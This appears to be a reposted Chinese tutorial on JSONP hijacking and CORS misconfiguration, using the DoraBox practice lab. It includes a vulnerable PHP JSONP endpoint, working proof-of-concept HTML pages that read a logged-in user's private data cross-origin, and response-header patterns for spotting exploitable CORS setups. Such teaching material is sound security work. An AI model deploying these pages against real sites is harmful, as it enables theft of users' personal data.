跨域漏洞丨JSONP和CORS跨域資源共享


 進入正文之前,我們先來解決個小問題,什么是跨域?

跨域:指的是瀏覽器不能執行其它網站的腳本,它是由瀏覽器的同源策略造成的,是瀏覽器的安全限制!

跨域常見的兩種方式,分別是JSONP和CORS。

今天i春秋以JSONP和CORS這兩個知識點,分享一篇比較基礎的跨域漏洞知識點,希望能夠拋磚引玉。

JSONP跨域

JSONP(JSON with padding),是一種利用HTML中<script></script>元素標簽,遠程調用json文件來實現數據傳遞的技術,它的特點是可以跨域讀取數據。

那么為什么需要用到JSONP這樣一種方式傳遞不同域之間的數據呢?因為同源策略,同源策略是由Netscape提出的一個著名的安全策略,現在所有支持JavaScript的瀏覽器都會使用這個策略。

我們以key表哥的droabox為例:

 

首先看下源碼:

<!-- jsonp.php -->
<?php
 include "../class/function.class.php";
 $reqMethod = "GET";
 $reqValue = "callback";
 $p = new Func($reqMethod, $reqValue);
 $info = array('username' => 'Vulkey_Chen', 'mobilephone' => '13188888888', 'email' => 'admin@gh0st.cn', 'address' => '中華人民共和國', '**' => 'Cool Man');
 if(!@$_GET['callback']){
 echo $p -> con_function('json_encode',$info);
 }else{
 $callback = htmlspecialchars($_GET['callback']);
 echo "{$callback}(" . $p -> con_function('json_encode',$info) . ")";
 }
?>

我們主要看的是:

if(!@$_GET['callback']){
 echo $p -> con_function('json_encode',$info);
 }else{
 $callback = htmlspecialchars($_GET['callback']);
 echo "{$callback}(" . $p -> con_function('json_encode',$info) . ")";
 }

這里首先以get形式接收到callback的值,如果callback為空,則忽略警告輸出info的json格式數據;

如果callback值不為空,則對這個值做一個過濾后輸出,然后后面還是輸出json格式的info的值。

 

從這段代碼我們可以看到,callback的值是可以動態輸出的,如果我們現在拿到了一個以jsonp方式傳輸用戶認證后數據的網站,我們就可以構造出一個惡意的jsonp調用頁面,然后誘使用戶訪問我們的頁面,從而達到一個截取用戶信息的目的。

<!--jsonp.html-->
<!DOCTYPE html>
<html>
<head>
 <title>jsonp</title>
</head>
<body>
<script type="text/javascript" src="https://code.jquery.com/jquery-3.1.1.min.js"></script>
<script type="text/javascript">
 $.getJSON("http://localhost:801/dorabox/csrf/jsonp.php?callback=?", function(jsonp){
 alert(jsonp.username);
 });
</script>
</body>
</html>

這里用到一個jQuery的getJSON方法,語法為:

jQuery.getJSON(url,data,success(data,status,xhr));

我們用這個函數以get方式打開鏈接,獲取到json值,即獲取到用戶敏感信息。

JSON劫持可能存在的點:

  • Referer過濾不嚴謹;
  • 空Referer(在通過跨協議調用JS時,發送的http請求里的Referer為空);
  • CSRF調用json文件方式不安全,token可重復利用;
  • JSON輸出的Content-Type及編碼不符合標准(gb2312可能存在寬字節注入);
  • 未嚴格過濾callback函數名及JSON里數據的輸出;
  • 未嚴格限制JSONP輸出callback函數名的長度。

CORS跨域

CORS(Cross-Origin Resource Sharing 跨來源資源共享),CORS允許瀏覽器向跨域服務器發出XmlHttpRequest請求,CORS與JSONP的區別:是JSONP的升級版,JSONP只能通過get方式請求,CORS支持get和post請求。

CORS跨域原理:向header中注入Access-Control-Allow-Origin服務端過判斷請求頭中的參數是否被允許的域來決定請求源是否有權限獲取數據。

 

 

 

注意這里的:

Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: X-Requested-With
Access-Control-Allow-Methods: PUT,POST,GET,DELETE,OPTIONS

這個響應頭表示訪問允許,*表示所有的請求源的所有形式的請求,都被允許訪問數據,這樣也就造成了一個跨域讀取敏感信息的漏洞。

下面有一些返回標識幫助我們快速確認一個網站是否存在cors漏洞:

最好的攻擊案例:

Access-Control-Allow-Origin: https://attacker.com

Access-Control-Allow-Credentials: true

可能存在利用點:

Access-Control-Allow-Origin: null

Access-Control-Allow-Credentials: true

配置失誤,但是幾乎無法利用:

Access-Control-Allow-Origin: *

Access-Control-Allow-Credentials: true

或者只有一個:

Access-Control-Allow-Origin: *

下面還是以dorabox為例:

 這里假設我們看到的是一個已登錄狀態的用戶信息,通過訪問該頁面的返回頭信息,我們確定它可能存在一個cors跨域資源共享的漏洞,那么我們就可以構造以下代碼獲取用戶隱私信息:

<!-- cors.html -->
<!DOCTYPE html>
<html>
<head>
 <title>cors exp</title>
</head>
<body>
<script type="text/javascript">
 function cors() {
 var xhr = new XMLHttpRequest();
 xhr.onreadystatechange = function() {
 if(xhr.readyState === 4) {
 alert(xhr.responseText);
 }
 }
 xhr.open("GET","http://localhost:801/DoraBox/csrf/userinfo.php");
 xhr.send();
}
cors();
</script>
</body>
</html>

首先定義一個函數cors,以get形式訪問目標網址,創建XMLHttpRequest對象為xhr,通過ajax的onreadystatechange判斷請求狀態,如果請求已完成,且相應已就緒,則彈出返回文本。

當然我們還可以利用CrossSiteContentHijacking這個poc實現cors跨域資源共享。

 

將這個工具部署到php環境中,輸入目標url,類型設置為CORS iframe或CORS window后,點擊"Retrieve Contents"。

 

有post數據也是可以的,前文說過cors是jsonp的升級版,可處理post數據。

 

以上是今天分享的全部內容,大家看懂了嗎?


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM